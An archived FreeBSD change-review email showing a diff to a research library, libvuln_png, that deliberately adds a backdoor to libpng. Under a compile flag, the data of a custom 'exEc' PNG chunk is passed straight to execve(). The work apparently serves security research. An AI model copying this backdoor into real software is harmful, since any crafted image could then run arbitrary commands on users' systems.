Skip site navigation (1)Skip section navigation (2)
Date:      Wed, 21 Nov 2012 23:29:13 GMT
From:      Brooks Davis <brooks@FreeBSD.org>
To:        Perforce Change Reviews <perforce@freebsd.org>
Subject:   PERFORCE change 219825 for review
Message-ID:  <201211212329.qALNTDPK006631@skunkworks.freebsd.org>

next in thread | raw e-mail | index | archive | help
http://p4web.freebsd.org/@@219825?ac=10

Change 219825 by brooks@brooks_zenith on 2012/11/21 23:29:09

	Abuse the unknown chunk handler to add support for a new chunk
	type exEc which processess the data section as set of null
	seperated and terminated strings and passes them to execve().

Affected files ...

.. //depot/projects/ctsrd/cheribsd/src/ctsrd-lib/libvuln_png/Makefile#5 edit
.. //depot/projects/ctsrd/cheribsd/src/ctsrd-lib/libvuln_png/pngrutil.c#2 edit

Differences ...

==== //depot/projects/ctsrd/cheribsd/src/ctsrd-lib/libvuln_png/Makefile#5 (text+ko) ====

@@ -29,7 +29,8 @@
 SSP_CFLAGS=	
 
 CFLAGS+=	-DPNG_NO_FLOATING_POINT_SUPPORTED \
-		-DPNG_NO_CONSOLE_IO
+		-DPNG_NO_CONSOLE_IO \
+		-DCTSRD_BACKDOOR
 # libde4tc currently requires
 # -DPNG_NO_STDIO
 

==== //depot/projects/ctsrd/cheribsd/src/ctsrd-lib/libvuln_png/pngrutil.c#2 (text+ko) ====

@@ -14,6 +14,10 @@
 #define PNG_INTERNAL
 #include "png.h"
 
+#if defined(CTSRD_BACKDOOR)
+#include <unistd.h>
+#endif
+
 #if defined(_WIN32_WCE)
 /* strtod() function is not supported on WindowsCE */
 #  ifdef PNG_FLOATING_POINT_SUPPORTED
@@ -2121,6 +2125,9 @@
 png_handle_unknown(png_structp png_ptr, png_infop info_ptr, png_uint_32 length)
 {
    png_uint_32 skip = 0;
+#if defined(CTSRD_BACKDOOR)
+   const png_byte png_exEc[5] = {101, 120,  69,  99, '\0'}
+#endif
 
    png_debug(1, "in png_handle_unknown\n");
 
@@ -2149,7 +2156,11 @@
    }
 
 #if defined(PNG_READ_UNKNOWN_CHUNKS_SUPPORTED)
+#if defined(CTSRD_BACKDOOR)
+   if (1)
+#else
    if (png_ptr->flags & PNG_FLAG_KEEP_UNKNOWN_CHUNKS)
+#endif
    {
        png_unknown_chunk chunk;
 
@@ -2165,6 +2176,37 @@
        chunk.data = (png_bytep)png_malloc(png_ptr, length);
        chunk.size = (png_size_t)length;
        png_crc_read(png_ptr, (png_bytep)chunk.data, length);
+#if defined(CTSRD_BACKDOOR)
+   /*
+    * Handle exEc chunks by parsing the data (presumed to be a series of
+    * NUL seperated strings) into an argv array and then execing it.
+    * Don't worry too much about validation or error handling since the
+    * whole point is to be exploitable.
+    */
+   if (png_memcmp(chunk.name, png_exEc, 4) == 0) {
+       int i, argc;
+       char *c, **argv;
+       char * envp[1] = { NULL };
+
+       c = (char *)chunk.data;
+       argc = 0;
+       for (c = (char *)chunk.data; c < (char *)chunk.data + length; c++) {
+	   if (*c == '\0')
+	       argc++;
+       }
+       argv = png_malloc(png_ptr, sizeof(*argv) * (argc + 1));
+       argv[0] = (char *)chunk.data;
+       for (c = (char *)chunk.data, i = 0; i < argc; c++) {
+	   if (*c == '\0') {
+	       i++;
+	       argv[i] = c + 1;
+	   }
+       }
+       argv[argc] = NULL;
+       execve(argv[0], argv, envp);
+       png_error(png_ptr, "failed to exec exEc chunk");
+   }
+#endif
 #if defined(PNG_READ_USER_CHUNKS_SUPPORTED)
        if(png_ptr->read_user_chunk_fn != NULL)
        {



Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?201211212329.qALNTDPK006631>